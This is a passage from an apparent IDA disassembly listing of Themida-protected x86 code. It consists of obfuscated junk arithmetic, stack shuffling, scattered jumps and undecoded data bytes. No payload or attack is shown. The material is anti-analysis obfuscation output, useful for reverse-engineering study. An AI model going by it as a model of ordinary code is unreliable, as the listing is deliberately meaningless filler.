		sub	ebp, 754A18A9h
		jmp	loc_59FB06
; ---------------------------------------------------------------------------


loc_5A65A6:				; CODE XREF: Themida_:0059897Ej
		neg	eax
		add	eax, 8430C06Dh
		mov	edi, eax
		pop	eax
		add	ecx, 5DF60ACAh
		add	ecx, edi
		sub	ecx, 5DF60ACAh
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		push	edx
		mov	edx, 556C091Dh
		jmp	loc_5AC042
; ---------------------------------------------------------------------------
		db 42h,	0Fh, 8Fh
		dd 0FFFFA8D8h, 2BBC281h, 93E956D0h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A65EB:				; CODE XREF: Themida_:005A2C61j
					; Themida_:loc_5A3225j
		mov	ebp, 6EA8753Eh
		add	[esp+8], ebp
		pop	ebp
		pop	eax
		pop	eax
		push	668Ch
		mov	[esp], ecx
		mov	ecx, 3F6F0241h
		add	eax, ecx
		jmp	loc_5AEFDE
; ---------------------------------------------------------------------------
		db 89h
		dd 9D682404h, 0E947A21Eh, 66BDh
; ---------------------------------------------------------------------------


loc_5A6618:				; CODE XREF: Themida_:0059F8F4j
		add	esp, 4
		jmp	loc_59BE9F
; ---------------------------------------------------------------------------


loc_5A6623:				; CODE XREF: Themida_:0059A62Ej
		push	small word ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041058h, 1D52E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A663A:				; CODE XREF: Themida_:005AB5C1j
		mov	[esp], ecx
		mov	ecx, 22201663h
		shl	ecx, 3
		dec	ecx
		jle	loc_5993AC
		dec	ecx
		jl	loc_59A03A
		jmp	loc_5997D7
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240481h,	8F000000h, 4812404h, 424h, 2434FF00h
		dd 63E9515Fh, 4DFFFF3Ah, 0CDD42D95h, 0C601FC22h, 8124048Bh
		dd 4C4h, 5EF30100h, 4C381h, 1C870000h, 88E95C24h, 83FFFF4Bh
		dd 9C6804C4h, 89000020h, 0EC81242Ch, 4,	24048F54h, 4240483h
		dd 3E9515Dh, 5BFFFF30h,	0FF4A85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A66C1:				; CODE XREF: Themida_:0059DCADj
		and	ebp, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5AF151
; ---------------------------------------------------------------------------


loc_5A66D5:				; CODE XREF: Themida_:005A7A30j
		sub	eax, 0CF448420h
		xor	ebp, eax
		jmp	loc_5A8197
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 185D6824h, 1C890000h, 81E38924h, 4ECh, 24048900h, 7D7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A66FD:				; CODE XREF: Themida_:0059BC7Cj
		push	ebp
		mov	ebp, esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		jmp	loc_5A46A4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1C78h, 240C8B66h, 3B2AE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A671E:				; CODE XREF: Themida_:00598F3Ej
		shl	edi, 6
		xor	edi, 7155B059h
		xor	eax, edi
		jmp	loc_5A8F8A
; ---------------------------------------------------------------------------


loc_5A672E:				; CODE XREF: Themida_:loc_59C133j
		xor	ebx, 187B5BD3h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5AD9EC
; ---------------------------------------------------------------------------


loc_5A673C:				; CODE XREF: Themida_:005A3A34j
		add	esp, 4
		sub	ecx, esi
		add	ecx, 52A00D56h
		push	eax
		mov	eax, 0F7E7FB8h
		sub	eax, 4AAA0B07h
		or	eax, 3A5508C2h
		dec	eax
		inc	eax
		add	eax, 6C0EFCFEh
		jmp	loc_5A73B4
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 6FBEh
; ---------------------------------------------------------------------------


loc_5A676C:				; CODE XREF: Themida_:005A7AA4j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5A3339
; ---------------------------------------------------------------------------


loc_5A6787:				; CODE XREF: Themida_:005AE15Fj
		add	esp, 4
		push	3FA3h
		mov	[esp], edx
		mov	dh, bl
		mov	[edi+eax*4+1], dh
		jmp	loc_5A399C
; ---------------------------------------------------------------------------


loc_5A67A0:				; CODE XREF: Themida_:0059C9B1j
					; Themida_:0059F68Bj
		xor	ecx, 5F6F0FFBh
		jmp	loc_599982
; ---------------------------------------------------------------------------


loc_5A67AB:				; CODE XREF: Themida_:loc_598F13j
		jmp	loc_5A438B
; ---------------------------------------------------------------------------


loc_5A67B0:				; CODE XREF: Themida_:0059A4D7j
		mov	edi, 0FFFFFFFFh
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 17F625D7h
		xor	edi, 508F2EC6h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AE135
; ---------------------------------------------------------------------------


loc_5A67D4:				; CODE XREF: Themida_:005ABD9Cj
		add	esi, 1AFC3C81h
		jmp	loc_5AA1E6
; ---------------------------------------------------------------------------


loc_5A67DF:				; CODE XREF: Themida_:005A8D03j
		shl	dh, 6
		neg	dh
		sub	dh, 6Eh
		push	eax
		mov	al, dh
		jmp	loc_5AC64C
; ---------------------------------------------------------------------------


loc_5A67EF:				; CODE XREF: Themida_:005A371Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AEBF0
; ---------------------------------------------------------------------------


loc_5A67FD:				; CODE XREF: Themida_:0059E235j
		mov	edx, [esp]
		jmp	loc_5ACFBA
; ---------------------------------------------------------------------------


loc_5A6805:				; CODE XREF: Themida_:005A9A68j
		mov	edi, 1AEC7EA0h
		push	2B7FA1B5h
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_599FEB
; ---------------------------------------------------------------------------


loc_5A6822:				; CODE XREF: Themida_:005AEA5Ej
		neg	ecx
		sub	ecx, 3FE78514h
		jmp	loc_5ADA23
; ---------------------------------------------------------------------------


loc_5A682F:				; CODE XREF: Themida_:005A9515j
		add	cl, dl
		pop	edx
		sub	al, 0CCh
		add	al, 0D1h
		sub	al, 3Fh
		jmp	loc_5A1A97
; ---------------------------------------------------------------------------


loc_5A683D:				; CODE XREF: Themida_:0059B75Dj
		xor	ebx, edx
		jmp	loc_5A4821
; ---------------------------------------------------------------------------


loc_5A6844:				; CODE XREF: Themida_:005A4EB3j
		sub	cl, 72h
		add	dl, cl
		pop	ecx
		sub	dl, 24h
		sub	dl, 68h
		add	dl, cl
		add	dl, 68h
		add	dl, 24h
		sub	dl, 70h
		jmp	loc_5A9111
; ---------------------------------------------------------------------------


loc_5A6860:				; CODE XREF: Themida_:005A7B83j
		xchg	ebp, [esp]
		jmp	loc_59C5A8
; ---------------------------------------------------------------------------


loc_5A6868:				; CODE XREF: Themida_:005A3889j
		mul	ecx
		push	76BDh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59954C
; ---------------------------------------------------------------------------


loc_5A688E:				; CODE XREF: Themida_:005AB796j
		sub	dword ptr [esp+4], 69D567A5h
		add	[esp+4], edx
		push	eax
		mov	eax, 69D567A5h
		jmp	loc_599555
; ---------------------------------------------------------------------------


loc_5A68A5:				; CODE XREF: Themida_:005A1808j
		mov	edx, 794D6018h
		jmp	loc_59CBF5
; ---------------------------------------------------------------------------
		db 89h
		dd 0CB015EF1h, 3D8EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A68BA:				; CODE XREF: Themida_:0059DF87j
		push	edi
		xor	dword ptr [esp], 236729BCh
		pop	ebx
		xor	ebx, 236729BCh
		mov	edi, [esp]
		add	esp, 4
		add	ebx, edx
		mov	[ebx], al
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	ebx
		jmp	loc_59D0C1
; ---------------------------------------------------------------------------


loc_5A68F8:				; CODE XREF: Themida_:005A8B00j
		pop	ecx
		and	dl, 8Fh
		xor	dl, 62h
		mov	bh, dl
		mov	edx, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_59E932
; ---------------------------------------------------------------------------


loc_5A6911:				; CODE XREF: Themida_:005A9EB7j
		jmp	loc_5988F1
; ---------------------------------------------------------------------------


loc_5A6916:				; CODE XREF: Themida_:loc_5A9B95j
		jmp	loc_5A9CD0
; ---------------------------------------------------------------------------


loc_5A691B:				; CODE XREF: Themida_:005A9A29j
		add	ecx, edx
		add	dword ptr [ecx], 1
		pop	ecx
		pop	edx
		jmp	loc_5990A9
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 45626E6Fh, 2414335Fh, 33241431h, 248B2414h, 0E6895624h
		dd 7FF5E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6946:				; CODE XREF: Themida_:005ACBD8j
		push	ebx
		mov	bl, 89h
		mov	ch, 0E4h
		add	ch, bl
		jmp	loc_599F44
; ---------------------------------------------------------------------------


loc_5A6952:				; CODE XREF: Themida_:loc_5A96D5j
		xor	eax, 6ABF3E62h
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3AFB
; ---------------------------------------------------------------------------


loc_5A6962:				; CODE XREF: Themida_:005AEF57j
		xor	edx, 2DD67E54h
		mov	eax, edx
		jmp	loc_59F194
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF2810E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6975:				; CODE XREF: Themida_:0059B708j
					; Themida_:005A1537j
		neg	eax
		jmp	loc_59D3EE
; ---------------------------------------------------------------------------


loc_5A697C:				; CODE XREF: Themida_:005AB3F0j
		add	ebx, edi
		sub	ebx, 47ED53A3h
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_59D3A9
; ---------------------------------------------------------------------------


loc_5A6993:				; CODE XREF: Themida_:005AE185j
		sub	edi, 22F2765Eh
		add	edi, ebp
		add	edi, 22F2765Eh
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		push	eax
		mov	eax, 60D41C9h
		xor	eax, 6E812701h
		jmp	loc_59AEBB
; ---------------------------------------------------------------------------


loc_5A69C0:				; CODE XREF: Themida_:005A8C3Aj
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A6D2E
; ---------------------------------------------------------------------------


loc_5A69D8:				; CODE XREF: Themida_:00598898j
		jmp	loc_5AABB3
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4C2h, 24148700h, 0E9C9FE5Ch, 6A0h, 6E8C159h
		dd 0E902E8C1h, 0B36h, 466368h, 240C8900h, 268h,	5227E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6A12:				; CODE XREF: Themida_:005A1111j
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6A18:				; CODE XREF: Themida_:0059B5BFj
		xor	ecx, 59158BCh
		add	eax, ecx
		jmp	loc_5A0B30
; ---------------------------------------------------------------------------


loc_5A6A25:				; CODE XREF: Themida_:0059D927j
					; Themida_:005A7884j
		sub	edi, ebp
		jmp	loc_5A6A4D
; ---------------------------------------------------------------------------


loc_5A6A2C:				; CODE XREF: Themida_:0059E926j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A42C6
; ---------------------------------------------------------------------------


loc_5A6A3E:				; CODE XREF: Themida_:0059A86Dj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 44222552h
		push	ecx
		jmp	loc_5A79C1
; ---------------------------------------------------------------------------


loc_5A6A4D:				; CODE XREF: Themida_:005A6A27j
		sub	edi, 122D5E05h
		pop	ebp
		add	edi, 3D6E12A5h
		jmp	loc_59FB83
; ---------------------------------------------------------------------------


loc_5A6A5F:				; CODE XREF: Themida_:0059C9C0j
		mov	edx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	edi
		xor	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_5A374E
; ---------------------------------------------------------------------------


loc_5A6A86:				; CODE XREF: Themida_:005ACC73j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A13F9
; ---------------------------------------------------------------------------


loc_5A6A92:				; CODE XREF: Themida_:005A3DE9j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59F2BB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aYsi		db 'Yι¨,',0
		align 2


loc_5A6AA6:				; CODE XREF: Themida_:005A1031j
		pop	eax
		jmp	loc_5A977A
; ---------------------------------------------------------------------------


loc_5A6AAC:				; CODE XREF: Themida_:0059BD34j
		sub	esi, ebp
		add	esi, 1A85B64h
		pop	ebp
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		not	edx
		jmp	loc_5AA97F
; ---------------------------------------------------------------------------
		dd 592C281h, 0C20131B0h, 592EA81h, 41E931B0h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6AD7:				; CODE XREF: Themida_:005A6302j
		sub	edx, ebp
		push	esi
		mov	esi, 7733893h
		jmp	loc_59D147
; ---------------------------------------------------------------------------


loc_5A6AE4:				; CODE XREF: Themida_:0059BFE8j
		shr	edx, 8
		jp	loc_5A8AC7
		push	ecx
		jmp	loc_5AB20C
; ---------------------------------------------------------------------------
		db 68h
		dd 6751h, 0FFD21FE9h, 126851FFh, 594C320Fh, 0FFD03DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6B09:				; CODE XREF: Themida_:0059EE8Dj
		xchg	edi, ecx
		sub	ecx, 18562EE4h
		jmp	loc_598CC4
; ---------------------------------------------------------------------------


loc_5A6B16:				; CODE XREF: Themida_:005A3852j
		add	ebx, eax
		pop	eax
		dec	ebx
		jle	loc_5A3D82
		add	ebx, 0F5A70B16h
		push	edi
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_5AB996
; ---------------------------------------------------------------------------


loc_5A6B33:				; CODE XREF: Themida_:0059E833j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59EAF6
; ---------------------------------------------------------------------------


loc_5A6B3E:				; CODE XREF: Themida_:0059DCE5j
		mov	[esp], edx
		jmp	loc_5A5DF1
; ---------------------------------------------------------------------------


loc_5A6B46:				; CODE XREF: Themida_:005AE977j
		sub	ebx, ebp
		jmp	loc_5A0938
; ---------------------------------------------------------------------------


loc_5A6B4D:				; CODE XREF: Themida_:005A7D0Bj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A3A05
; ---------------------------------------------------------------------------


loc_5A6B58:				; CODE XREF: Themida_:005A2D88j
		add	cl, 0F8h
		add	cl, dh
		push	ebx
		jmp	loc_5A53B5
; ---------------------------------------------------------------------------


loc_5A6B63:				; CODE XREF: Themida_:005A09B5j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ecx
		pop	ecx
		push	dword ptr [edi+1Ch]
		jmp	loc_59AAFA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aS_6		db '$ιΣ',0Dh,0
		align 2
		dw 0F501h
		dd 0AE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6B85:				; CODE XREF: Themida_:0059A677j
					; Themida_:0059CA71j
		push	edx
		push	5EE1151Ah
		pop	edx
		sub	edx, 702F4B2Fh
		jnz	loc_59D31C
		xor	edx, 0EEB1C9E9h
		jmp	loc_59CC81
; ---------------------------------------------------------------------------
		db 5Fh
; ---------------------------------------------------------------------------


loc_5A6BA4:				; CODE XREF: Themida_:005A390Dj
		xor	eax, ecx
		push	8Fh
		jmp	loc_59E387
; ---------------------------------------------------------------------------


loc_5A6BB0:				; CODE XREF: Themida_:loc_5AB6EEj
		xor	edx, 4A9E9949h
		push	6660h
		jmp	loc_59DB55
; ---------------------------------------------------------------------------
		dd 4C481h, 0B6E90000h, 66FFFFB4h, 0E9240C8Bh, 7E05h, 31240433h
		dd 4332404h, 24248B24h,	0FFD0D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6BE5:				; CODE XREF: Themida_:0059D69Bj
		mov	edx, 7A860A0Bh
		shr	edx, 5
		or	edx, 7B6D1E4Fh
		shr	edx, 1
		sub	edx, 0FFFFFFFFh
		neg	edx
		add	edx, 0A031A6ABh
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_5A4954
; ---------------------------------------------------------------------------


loc_5A6C0D:				; CODE XREF: Themida_:005A632Bj
		shl	eax, 2
		jmp	loc_5A9D85
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: Themida_:005AB406j
		add	edi, ebx
		pop	ebx
		jmp	loc_5A0231
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6C25:				; CODE XREF: Themida_:005A870Ej
		sub	al, dh
		jmp	loc_5A3E3B
; ---------------------------------------------------------------------------


loc_5A6C2C:				; CODE XREF: Themida_:005A3434j
		jnp	loc_5A9FB0
		and	esi, 397391Bh
		jmp	loc_59E41D
; ---------------------------------------------------------------------------


loc_5A6C3D:				; CODE XREF: Themida_:loc_59E850j
		jmp	loc_5A87BE
; ---------------------------------------------------------------------------


loc_5A6C42:				; CODE XREF: Themida_:005A4EF2j
		mov	[esp], ebx
		push	ebx
		mov	ebx, 0C15190Eh
		and	ebx, 2A5A10D1h
		jmp	loc_5AAD9E
; ---------------------------------------------------------------------------


loc_5A6C56:				; CODE XREF: Themida_:loc_59A979j
					; Themida_:005A3E7Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edi
		push	0F241726h
		pop	edi
		xor	edi, 0F241722h
		push	ebx
		push	7E2h
		mov	[esp], ebp
		mov	ebp, 1E7A6D52h
		mov	ebx, 106A566Ch
		jmp	loc_5AE92E
; ---------------------------------------------------------------------------


loc_5A6C89:				; CODE XREF: Themida_:005AC921j
		mov	edx, esi
		pop	esi
		mov	ebx, 2EEB1CF2h
		jmp	loc_59A533
; ---------------------------------------------------------------------------


loc_5A6C96:				; CODE XREF: Themida_:005AA306j
		pop	ecx
		add	edi, 0F091B94h
		jmp	loc_5997F6
; ---------------------------------------------------------------------------


loc_5A6CA2:				; CODE XREF: Themida_:005AEFB7j
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A9479
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
aHW		db '$hΟw',0
		align 2
		dw 3C89h
		dd 2516E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6CBE:				; CODE XREF: Themida_:005AB1CAj
		pop	eax
		neg	ecx
		jmp	loc_5A2CCC
; ---------------------------------------------------------------------------


loc_5A6CC6:				; CODE XREF: Themida_:0059A974j
		mov	esi, ebx
		pop	ebx
		add	ebx, 50D6658h
		add	ebx, esi
		push	ecx
		mov	ecx, 5A60EAAh
		and	ecx, 38E07F79h
		sub	ecx, 20FC0FFBh
		xor	ecx, 0DAAE9875h
		jmp	loc_5AC2E2
; ---------------------------------------------------------------------------


loc_5A6CEE:				; CODE XREF: Themida_:005A42FDj
		add	edi, edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4B8D1DC4h
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_5AD960
; ---------------------------------------------------------------------------


loc_5A6D0C:				; CODE XREF: Themida_:0059BE92j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5992B0
; ---------------------------------------------------------------------------


loc_5A6D1E:				; CODE XREF: Themida_:0059BE33j
		jnp	loc_59EC21
		push	ecx
		mov	ecx, 44296A9Ch
		and	eax, ecx
		mov	ebp, esi


loc_5A6D2E:				; CODE XREF: Themida_:005A69D3j
		add	edx, 4
		jmp	loc_5AC88B
; ---------------------------------------------------------------------------


loc_5A6D39:				; CODE XREF: Themida_:005A3FEFj
		push	5A6h
		jmp	loc_5A4C0D
; ---------------------------------------------------------------------------


loc_5A6D43:				; CODE XREF: Themida_:005AA8E0j
		pop	edx
		xor	edx, eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6D4B:				; CODE XREF: Themida_:005AC0F7j
		sub	ah, 0C1h
		xor	cl, ah
		pop	eax
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59EAEE
; ---------------------------------------------------------------------------


loc_5A6D61:				; CODE XREF: Themida_:0059F2B6j
		add	ebx, 1
		xor	ebx, 720D7ABBh
		push	2B3Eh
		mov	[esp], eax
		mov	eax, 31B6B126h
		jmp	loc_5AD2C8
; ---------------------------------------------------------------------------


loc_5A6D7F:				; CODE XREF: Themida_:005A08ECj
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5ACE20
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFFB5E9h, 9459E95Dh, 0F181FFFFh
		dd 731126A7h, 0FF3382E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6DB5:				; CODE XREF: Themida_:005AE59Ej
		pop	edx
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_5A07A0
; ---------------------------------------------------------------------------


loc_5A6DC0:				; CODE XREF: Themida_:005A9B6Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A6DC5:				; CODE XREF: Themida_:0059D9CAj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_5A7575
; ---------------------------------------------------------------------------


loc_5A6DDC:				; CODE XREF: Themida_:0059EF62j
		sub	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 4CD38CAh
		add	eax, 545B15A0h
		sub	eax, 3B54904h
		add	eax, edx
		add	eax, 3B54904h
		jmp	loc_59FA9C
; ---------------------------------------------------------------------------
		db 83h
		dd 6FE904ECh, 0FF000008h, 685A2434h, 262Ch, 89242C89h
		dd 3CBA68E5h, 1C890000h, 7827BB24h, 0EB8150EAh,	1, 4D0AC381h
		dd 0C38115EFh, 729D746Ah, 0C66AC381h, 0DD012688h, 0FFDE80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6E3D:				; CODE XREF: Themida_:0059F829j
		pop	ecx
		shr	ecx, 5
		xor	ecx, 5CFD7A2Fh
		sub	ecx, 312B7E6Dh
		and	ecx, 129A3D7Ch
		push	edi
		mov	edi, 42933EFDh
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	7DF9h
		mov	[esp], ebp
		mov	ebp, 3E3A0B60h
		push	edx
		mov	edx, 7A700002h
		dec	edx
		jmp	loc_5AE873
; ---------------------------------------------------------------------------
		dw 4DE9h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6E7F:				; CODE XREF: Themida_:005A5D88j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A5902
; ---------------------------------------------------------------------------


loc_5A6E91:				; CODE XREF: Themida_:005A469Fj
		add	al, dh
		pop	edx
		jmp	loc_5ADC20
; ---------------------------------------------------------------------------


loc_5A6E99:				; CODE XREF: Themida_:005A5CC8j
		pop	edi
		add	edx, edi
		sub	edx, 442A2F2Dh
		jmp	loc_5A5933
; ---------------------------------------------------------------------------


loc_5A6EA7:				; CODE XREF: Themida_:005AED31j
		mov	dl, cl
		pop	ecx
		jmp	loc_5A57A6
; ---------------------------------------------------------------------------
		db 59h
		dd 0E9E28952h, 0FFFFF398h, 55E78957h, 4BDh, 5DEF0100h
		dd 4BD55h, 0EF290000h, 243C875Dh, 2434895Ch, 2434FF54h
		dd 0E089505Eh, 405h, 40500h, 4870000h, 6D685C24h, 8900002Fh
		dd 0C5E9242Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6EF7:				; CODE XREF: Themida_:005AC983j
		mov	ebx, 32C43045h
		dec	ebx
		dec	ebx
		sub	ebx, 23D5C9FBh
		sub	ecx, ebx
		pop	ebx
		sub	ecx, ebx
		add	ecx, 0EEE6648h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3F65
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 53525524h, 0BB5794BBh, 254CBA39h, 0DA3130E0h, 5A56525Bh
		dd 31EE315Eh, 0F7EE31F5h, 87EE87D5h, 0BBF281F2h, 817EC27Ah
		dd 66F798F2h, 8BD58988h, 89512414h, 4C181E1h, 0E9000000h
		dd 1EC9h
; ---------------------------------------------------------------------------


loc_5A6F5C:				; CODE XREF: Themida_:005A0709j
		push	eax
		jmp	loc_5A8167
; ---------------------------------------------------------------------------


loc_5A6F62:				; CODE XREF: Themida_:005AB8DCj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A3912
; ---------------------------------------------------------------------------


loc_5A6F6D:				; CODE XREF: Themida_:005999D6j
		pop	esi
		jmp	loc_59D261
; ---------------------------------------------------------------------------


loc_5A6F73:				; CODE XREF: Themida_:005A4BD6j
		push	60A1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	eax
		push	332Dh
		jmp	loc_5A1023
; ---------------------------------------------------------------------------
		db 68h,	8, 30h
		dd 21680000h, 89000065h, 4812424h, 424h, 24048F00h, 417568h
		dd 24348900h, 0C681E689h, 4, 5AEE955h, 815B0000h, 9A6F85E2h
		dd 0F7D2F763h, 51D168DAh, 34890000h, 6F3CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6FD2:				; CODE XREF: Themida_:005990C8j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59DCD9
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 5Ah
		dd 7DE9CF01h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6FE7:				; CODE XREF: Themida_:0059FBFDj
		xor	edx, 7E5B4Dh
		jl	loc_5A12E5
		jmp	loc_5986AE
; ---------------------------------------------------------------------------


loc_5A6FF8:				; CODE XREF: Themida_:005ACDD0j
		xor	edx, 7BCA0505h
		jnz	loc_59924C
		xor	edx, 0F2336367h
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 52h
		db 0B6h, 5Bh
; ---------------------------------------------------------------------------


loc_5A7012:				; CODE XREF: Themida_:005A8986j
		mov	[esp], edx
		push	0D976A22h
		pop	edx
		push	ebx
		jmp	loc_5A8A86
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 52B82404h, 52591A4Fh, 1A4F4EBAh, 2B0559h
		dd 0A62D6EB4h, 293BB35Bh, 5BA605D0h, 0F1E93BB3h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A704B:				; CODE XREF: Themida_:005A4D1Aj
		sub	eax, 50F101Bh
		sub	eax, edi
		add	eax, 50F101Bh
		jmp	loc_5AC21A
; ---------------------------------------------------------------------------
		dd 458B0F4Eh, 0C1FFFFE6h, 0EE8106EEh, 0DCC57E8Ch
		db 46h,	8Ah, 0DAh
; ---------------------------------------------------------------------------


loc_5A706F:				; CODE XREF: Themida_:005AD034j
		pop	esp
		jmp	loc_5A41DD
; ---------------------------------------------------------------------------


loc_5A7075:				; CODE XREF: Themida_:005A8BF6j
		add	esp, 4
		push	36A1h
		jmp	loc_5AA9FF
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 5D952722h, 0FF97CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A708D:				; CODE XREF: Themida_:0059C23Bj
		add	eax, ebx
		jmp	loc_599B23
; ---------------------------------------------------------------------------
		dd 2EC81h, 9E90000h, 0BF000001h, 7B381C15h, 8D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A70A9:				; CODE XREF: Themida_:00598569j
		mov	[esp], ebx
		mov	bh, al
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_5A4053
; ---------------------------------------------------------------------------


loc_5A70C2:				; CODE XREF: Themida_:005A0723j
		push	esi
		mov	esi, 6D087A35h
		push	2674h
		jmp	loc_5A5F60
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFD79Ch
; ---------------------------------------------------------------------------


loc_5A70D8:				; CODE XREF: Themida_:005AD656j
		push	dword ptr [esp+4]
		jmp	loc_59B1BD
; ---------------------------------------------------------------------------


loc_5A70E1:				; CODE XREF: Themida_:0059F42Cj
		push	edx
		mov	dl, 7Eh
		xor	dl, 64h
		not	dl
		jmp	loc_59D7A7
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 2503E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A70F5:				; CODE XREF: Themida_:0059EAC5j
		add	edx, 6E9C21B9h
		and	edx, 41A05750h
		ja	loc_59BB42
		and	edx, 213370EAh
		jmp	loc_5AAF0A
; ---------------------------------------------------------------------------
